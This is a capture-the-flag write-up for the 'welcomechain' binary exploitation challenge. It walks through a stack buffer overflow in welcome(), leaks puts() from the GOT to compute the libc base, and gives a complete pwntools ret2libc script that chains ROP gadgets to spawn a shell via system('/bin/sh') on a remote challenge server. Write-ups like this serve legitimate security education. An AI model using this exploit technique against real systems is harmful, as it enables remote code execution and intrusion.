1. Description
peilin@PWN:~/contrailctf/welcomechain$ file welcomechain
welcomechain: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=f435091d59e479e263cacd14fd27651affe9c8d5, not stripped
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
You can still play this challenge here (Jan. 17th, 2020).
libc.so.6
is given.
In welcome()
we have a pretty straightforward buffer overflow vulnerability:
0x000000000040078a <+74>: lea rax,[rbp-0x20]
0x000000000040078e <+78>: mov esi,0x100
0x0000000000400793 <+83>: mov rdi,rax
0x0000000000400796 <+86>: call 0x4005d0 <fgets@plt>
fgets()
reads 0x100
bytes into a 0x20
bytes long buffer, and there are no stack canaries.
Since PIE is off, its pretty easy to leak the GOT by reusing puts()
.
[DEBUG] PLT 0x40058c putchar
[DEBUG] PLT 0x4005a0 puts
[DEBUG] PLT 0x4005b0 setbuf
[DEBUG] PLT 0x4005c0 printf
[DEBUG] PLT 0x4005d0 fgets
[DEBUG] PLT 0x4005e0 sleep
Well we have a plenty of choices here, just choose one that is resolved before the vulnerable fgets()
is called. I choose puts()
itself. Well, why not? 🙂
So the plan is:
- Trigger the overflow;
- Leak the address of
puts()
; - Calculate the base address of libc, as well as
system()
and"/bin/sh"
; - Return to
welcome()
and trigger the overflow again; - Do
system("/bin/sh")
2. Solution
Just do it. I used an rdi gadget from __libc_csu_init()
, and a ret gadget from welcome()
. The ret gadget is necessary in order to make the stack 16 bytes aligned before entering system()
, to bypass the movaps
issue.
My exp:
#!/usr/bin/env python from pwn import * context.log_level = "DEBUG" p = connect("114.177.250.4", 2226) e = ELF('./welcomechain') l = ELF('./libc.so.6') prefix = 'A' * 40 # binary pop_rdi_ret = 0x400853 # __libc_csu_init() ret = 0x4007b9 # welcome() # libc binsh_ofs = 0x1b3e9a def leak(): payload = prefix payload += p64(pop_rdi_ret) payload += p64(e.got['puts']) payload += p64(e.plt['puts']) payload += p64(e.symbols['welcome']) p.recvuntil("Please Input : ") p.sendline(payload) p.recvline() puts_addr = u64((p.recvline())[0:6] + "\x00\x00") libc_base = puts_addr - l.symbols['puts'] return libc_base def shell(libc_base): binsh_addr = libc_base + binsh_ofs system_addr = libc_base + l.symbols['system'] payload = prefix payload += p64(ret) payload += p64(pop_rdi_ret) payload += p64(binsh_addr) payload += p64(system_addr) p.recvuntil("Please Input : ") p.sendline(payload) p.recvline() libc_base = leak() print("libc base addr: %s" % hex(libc_base)) shell(libc_base) p.interactive()